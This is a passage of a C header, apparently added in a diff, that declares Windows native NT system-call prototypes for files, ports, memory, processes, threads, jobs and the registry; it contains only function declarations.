PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + + +NTSTATUS +NTAPI +ZwOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + + +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + + +NTSTATUS +NTAPI +ZwSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + + +NTSTATUS +NTAPI +ZwWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + + +NTSTATUS +NTAPI +ZwReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + + +NTSTATUS +NTAPI +ZwWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + + +NTSTATUS +NTAPI +ZwLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + + +NTSTATUS +NTAPI +ZwCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + + +NTSTATUS +NTAPI +ZwOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + + +NTSTATUS +NTAPI +ZwRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + + +NTSTATUS +NTAPI +ZwQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + + +NTSTATUS +NTAPI +ZwSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + + +NTSTATUS +NTAPI +ZwYieldExecution ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + + +NTSTATUS +NTAPI +ZwConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + + +NTSTATUS +NTAPI +ZwListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + + +NTSTATUS +NTAPI +ZwAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + + +NTSTATUS +NTAPI +ZwCompleteConnectPort( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + + +NTSTATUS +NTAPI +ZwRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + + +NTSTATUS +NTAPI +ZwReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + + +NTSTATUS +NTAPI +ZwReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + + +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + + +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + + +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + + +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + + +NTSTATUS +NTAPI +ZwAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + + +NTSTATUS +NTAPI +ZwFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + + +NTSTATUS +NTAPI +ZwReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + + +NTSTATUS +NTAPI +ZwWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + + +NTSTATUS +NTAPI +ZwFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + + +NTSTATUS +NTAPI +ZwLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + + +NTSTATUS +NTAPI +ZwProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + + +NTSTATUS +NTAPI +ZwQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + + +NTSTATUS +NTAPI +ZwGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + + +NTSTATUS +NTAPI +ZwResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + + +NTSTATUS +NTAPI +ZwCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + + +NTSTATUS +NTAPI +ZwFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + + +NTSTATUS +NTAPI +ZwFlushWriteBuffer ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + + +NTSTATUS +NTAPI +ZwMakeTemporaryObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwMakePermanentObject ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + + +NTSTATUS +NTAPI +ZwQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + + +NTSTATUS +NTAPI +ZwClose ( + IN HANDLE Handle + ); + + + +NTSTATUS +NTAPI +ZwCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + + +NTSTATUS +NTAPI +ZwOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + + +NTSTATUS +NTAPI +ZwGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + + +NTSTATUS +NTAPI +ZwPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + + +NTSTATUS +NTAPI +ZwPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + + +NTSTATUS +NTAPI +ZwRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + + +// NTSTATUS +// NTAPI +// ZwInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + + +// NTSTATUS +// NTAPI +// ZwSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + + +// NTSTATUS +// NTAPI +// ZwGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + + +NTSTATUS +NTAPI +ZwCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwRequestDeviceWakeup( + IN HANDLE Device + ); + + + +NTSTATUS +NTAPI +ZwCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + + +NTSTATUS +NTAPI +ZwCreateProcessEx ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + + +NTSTATUS +NTAPI +ZwOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwQueryPortInformationProcess ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + + +NTSTATUS +NTAPI +ZwOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + + +NTSTATUS +NTAPI +ZwTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwSuspendProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwResumeProcess ( + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + + +NTSTATUS +NTAPI +ZwAlertThread ( + IN HANDLE ThreadHandle + ); + + + +NTSTATUS +NTAPI +ZwAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + + +NTSTATUS +NTAPI +ZwImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + + +NTSTATUS +NTAPI +ZwTestAlert ( + VOID + ); + + + +NTSTATUS +NTAPI +ZwRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + + +NTSTATUS +NTAPI +ZwQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + + +NTSTATUS +NTAPI +ZwCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + + +NTSTATUS +NTAPI +ZwTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + + +NTSTATUS +NTAPI +ZwIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + + +NTSTATUS +NTAPI +ZwCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + + +NTSTATUS +NTAPI +ZwDeleteKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + + +NTSTATUS +NTAPI +ZwEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + + +NTSTATUS +NTAPI +ZwFlushKey( + IN HANDLE KeyHandle + ); + + + +NTSTATUS +NTAPI +ZwInitializeRegistry( + IN USHORT BootCondition + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK 